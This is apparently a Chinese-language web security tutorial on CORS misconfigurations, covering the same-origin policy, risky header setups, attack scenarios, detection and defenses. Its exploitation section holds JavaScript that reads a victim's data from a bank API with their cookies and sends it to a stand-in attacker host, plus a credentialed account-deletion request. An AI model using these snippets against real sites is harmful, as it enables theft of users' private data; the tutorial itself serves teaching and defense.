点我
CORS
CORS
跨源资源共享(CORS,Cross-Origin Resource Sharing)是一种基于 HTTP 头的安全机制,用于控制浏览器在不同源(Origin)之间共享资源的权限。
CORS 漏洞通常源于服务器配置不当,导致攻击者能够绕过同源策略(SOP),窃取用户敏感数据或执行未授权操作。
一、技术背景
同源策略(SOP)
同源策略是浏览器的核心安全机制,限制不同源的脚本访问彼此的资源。
同源定义为协议、域名、端口完全一致。例如:
https://example.com
与https://api.example.com
不同源(域名不同)http://example.com:80
与http://example.com:8080
不同源(端口不同)
CORS 的作用
CORS 允许服务器声明哪些外部源可以访问其资源,通过 HTTP 响应头实现:
Access-Control-Allow-Origin
(ACAO):指定允许访问的源(如https://trusted.com
或通配符*
)。Access-Control-Allow-Methods
(ACAM):允许的 HTTP 方法(如GET, POST
)。Access-Control-Allow-Headers
(ACAH):允许的请求头(如Authorization
)。Access-Control-Allow-Credentials
(ACAC):是否允许携带凭证(如 Cookie)。
CORS 请求类型
- 简单请求(Simple Request):
使用GET
、HEAD
、POST
方法,且请求头仅包含Accept
、Accept-Language
、Content-Language
、Content-Type
(仅限application/x-www-form-urlencoded
、multipart/form-data
、text/plain
)。 - 预检请求(Preflight Request):
非简单请求(如PUT
、DELETE
或自定义头)会先发送OPTIONS
请求,验证服务器是否允许实际请求。
二、漏洞成因与攻击场景
漏洞根源
CORS 漏洞的核心是服务器错误配置,导致攻击者能够:
- 通过恶意网站发起跨域请求并读取响应。
- 结合用户凭证(如 Cookie)执行特权操作。
高风险配置示例
ACAO 设置为通配符
*
且允许凭证:Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
此配置矛盾(浏览器会拒绝),但若服务器仅设置
Access-Control-Allow-Origin: *
,攻击者仍可在无凭证时读取响应。动态反射 Origin 头:
服务器未严格验证Origin
头,直接将其值复制到ACAO
响应头中,例如:# 请求头 Origin: https://evil.com # 响应头 Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true
攻击者可构造任意
Origin
来窃取数据。- 宽松的正则匹配:
服务器使用不严谨的正则表达式验证Origin
,如允许example.com.attacker.com
或example-com.attacker.com
。
攻击场景
- 窃取用户数据:
用户登录目标站点(如https://bank.com
)后,访问恶意网站。攻击者通过跨域请求读取bank.com
的私有数据(如账户信息)。 - CSRF 增强利用:
结合 CORS 与 CSRF,绕过 SOP 限制,直接读取请求响应内容(传统 CSRF 仅能触发操作但无法获取结果)。 - 内部网络探测:
利用浏览器发起跨域请求到内网服务(如路由器管理界面),结合响应头或错误信息探测内网拓扑。
三、利用手法
基础利用(反射 Origin)
若服务器动态反射 Origin
头并允许凭证:
// 恶意网站 https://evil.com 的代码
fetch('https://bank.com/api/user', {
credentials: 'include' // 携带用户 Cookie
})
.then(response => response.text())
.then(data => {
// 将窃取的数据发送到攻击者服务器
fetch('https://attacker.com/exfil?data=' + encodeURIComponent(data));
});
绕过 Origin 验证
- 子域名劫持:
若bank.com
允许*.bank.com
,攻击者可注册evil.bank.com
发起请求。 - 域名混淆:
利用 Unicode 字符或特殊符号构造相似域名(如bánk.com
)绕过正则检查。
预检请求绕过
若服务器对 OPTIONS
请求的响应过于宽松:
// 发送恶意 PUT 请求
fetch('https://bank.com/delete-account', {
method: 'PUT',
headers: {
'Content-Type': 'application/json',
'X-Malicious-Header': 'true'
},
body: JSON.stringify({ userId: '123' }),
credentials: 'include'
});
若服务器响应包含 Access-Control-Allow-Origin: https://evil.com
且未限制方法或头信息,攻击将成功。
四、CORS 漏洞检测
手动检测
- 修改 Origin 头:
使用 Burp Suite 或浏览器开发者工具,将请求的Origin
改为非预期值(如https://attacker.com
),观察响应头是否反射该值。 - 测试通配符与凭证兼容性:
检查Access-Control-Allow-Origin: *
是否与Access-Control-Allow-Credentials: true
同时存在(浏览器会阻止此类配置)。
自动化工具
- Burp Suite:
使用Scanner
模块或扩展(如CORS Scanner
)探测错误配置。 - OWASP ZAP:
通过主动扫描识别不安全的 CORS 策略。 - 浏览器控制台:
直接发起跨域请求,观察控制台错误信息或网络响应。
盲检测技巧
若响应不可见,可通过以下方式间接验证:
触发错误事件:
fetch('https://target.com', { credentials: 'include' }) .catch(error => { // 根据错误类型推断 CORS 配置 });
- 定时检测:
测量请求耗时,预检请求失败时可能更快返回错误。
五、防护措施
严格限制 Origin
- 静态白名单:
配置固定的允许源列表(如https://trusted.com
),避免动态反射Origin
。 - 强正则验证:
若需动态验证,使用严格正则表达式(如^https://(www\.)?example\.com$
),防止子域名或相似域名绕过。
最小化权限
- 避免通配符
\*
:
除非资源完全公开(如图片、字体),否则不使用Access-Control-Allow-Origin: *
。 - 限制方法与头信息:
按需设置Access-Control-Allow-Methods
和Access-Control-Allow-Headers
,避免允许PUT
、DELETE
或自定义头。
凭证控制
- 禁用不必要的凭证:
除非必需,不设置Access-Control-Allow-Credentials: true
。 - 通配符与凭证互斥:
若使用Access-Control-Allow-Credentials: true
,必须明确指定Access-Control-Allow-Origin
为具体源。
服务器端加固
- 预检请求缓存:
通过Access-Control-Max-Age
减少OPTIONS
请求次数,但避免过长缓存时间。 - 独立认证机制:
使用 Token 而非 Cookie 进行跨域认证,降低凭证泄露风险。
安全编码示例
正确配置的 HTTP 头示例:
Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400
六、真实案例
- Uber(2017):
CORS 配置错误导致攻击者可窃取用户 API Token。 - Zoom(2020):
错误允许任意 Origin 的预检请求,泄露用户会议信息。 - 某金融平台(2021):
动态反射 Origin 头,导致攻击者通过恶意子域名读取用户交易记录
分类:
WEB安全
版权申明
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论